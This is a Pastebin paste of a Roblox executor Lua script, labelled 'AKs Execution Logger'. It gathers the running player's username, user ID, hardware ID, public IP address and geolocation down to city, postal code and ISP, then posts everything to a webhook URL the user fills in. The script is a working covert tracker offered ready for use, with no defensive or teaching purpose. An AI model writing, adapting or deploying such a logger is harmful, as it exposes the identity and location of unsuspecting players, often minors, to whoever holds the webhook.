MaxproGlitcher

Log info

Nov 9th, 2024
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.23 KB | None | 0 0
  1.  
  2. local HttpService = game:GetService("HttpService")
  3. local Players = game:GetService("Players")
  4. local MarketplaceService = game:GetService("MarketplaceService")
  5. local LocalizationService = game:GetService("LocalizationService")
  6. local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
  7. local GroupService = game:GetService("GroupService")
  8. local BadgeService = game:GetService("BadgeService")
  9. local UserInputService = game:GetService("UserInputService")
  10. local Stats = game:GetService("Stats")
  11.  
  12. local LocalPlayer = Players.LocalPlayer
  13. local UserId = LocalPlayer.UserId
  14. local DisplayName = LocalPlayer.DisplayName
  15. local Username = LocalPlayer.Name
  16. local MembershipType = tostring(LocalPlayer.MembershipType):sub(21)
  17. local AccountAge = LocalPlayer.AccountAge
  18. local Country = LocalizationService.RobloxLocaleId
  19. local GetIp = game:HttpGet("https://v4.ident.me/")
  20. local GetData = HttpService:JSONDecode(game:HttpGet("http://ip-api.com/json"))
  21. local Hwid = RbxAnalyticsService:GetClientId()
  22. local GameInfo = MarketplaceService:GetProductInfo(game.PlaceId)
  23. local GameName = GameInfo.Name
  24. local Platform = (UserInputService.TouchEnabled and not UserInputService.MouseEnabled) and "📱 Mobile" or "💻 PC"
  25. local Ping = math.round(Stats.Network.ServerStatsItem["Data Ping"]:GetValue())
  26.  
  27. local function detectExecutor()
  28. return identifyexecutor()
  29. end
  30.  
  31. local function createWebhookData()
  32. local executor = detectExecutor()
  33. local date = os.date("%m/%d/%Y")
  34. local time = os.date("%X")
  35. local gameLink = "https://www.roblox.com/games/" .. game.PlaceId
  36. local playerLink = "https://www.roblox.com/users/" .. UserId
  37. local mobileJoinLink = "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&launchData=" .. game.JobId
  38. local jobIdLink = "https://www.roblox.com/games/" .. game.PlaceId .. "?jobId=" .. game.JobId
  39.  
  40. local data = {
  41. username = "AKs Execution Logger",
  42. avatar_url = "https://i.imgur.com/AfFp7pu.png",
  43. embeds = {
  44. {
  45. title = "🎮 Game Information",
  46. description = string.format("**[%s](%s)**\n`ID: %d`", GameName, gameLink, game.PlaceId),
  47. color = tonumber("0x2ecc71")
  48. },
  49. {
  50. title = "👤 Player Information",
  51. description = string.format(
  52. "**Display Name:** [%s](%s)\n**Username:** %s\n**User ID:** %d\n**Membership:** %s\n**Account Age:** %d days\n**Platform:** %s\n**Ping:** %dms",
  53. DisplayName, playerLink, Username, UserId, MembershipType, AccountAge, Platform, Ping
  54. ),
  55. color = MembershipType == "Premium" and tonumber("0xf1c40f") or tonumber("0x3498db")
  56. },
  57. {
  58. title = "🌐 Location & Network",
  59. description = string.format(
  60. "**IP:** `%s`\n**HWID:** `%s`\n**Country:** %s :flag_%s:\n**Region:** %s\n**City:** %s\n**Postal Code:** %s\n**ISP:** %s\n**Organization:** %s\n**Time Zone:** %s",
  61. GetIp, Hwid, GetData.country, string.lower(GetData.countryCode), GetData.regionName, GetData.city, GetData.zip, GetData.isp, GetData.org, GetData.timezone
  62. ),
  63. color = tonumber("0xe74c3c")
  64. },
  65. {
  66. title = "⚙️ Technical Details",
  67. description = string.format(
  68. "**Executor:** `%s`\n**Job ID:** [Click to Copy](%s)\n**Mobile Join:** [Click](%s)",
  69. executor, jobIdLink, mobileJoinLink
  70. ),
  71. color = tonumber("0x95a5a6"),
  72. footer = {
  73. text = string.format("📅 Date: %s | ⏰ Time: %s", date, time)
  74. }
  75. }
  76. }
  77. }
  78. return HttpService:JSONEncode(data)
  79. end
  80.  
  81. local function sendWebhook(webhookUrl, data)
  82. local headers = {["Content-Type"] = "application/json"}
  83. local request = http_request or request or HttpPost or syn.request
  84. local webhookRequest = {Url = webhookUrl, Body = data, Method = "POST", Headers = headers}
  85. request(webhookRequest)
  86. end
  87.  
  88. local webhookUrl = "PUT_YOUR_WEBHOOK_URL_HERE"
  89. local webhookData = createWebhookData()
  90. sendWebhook(webhookUrl, webhookData)
Advertisement
Add Comment
Please, Sign In to add comment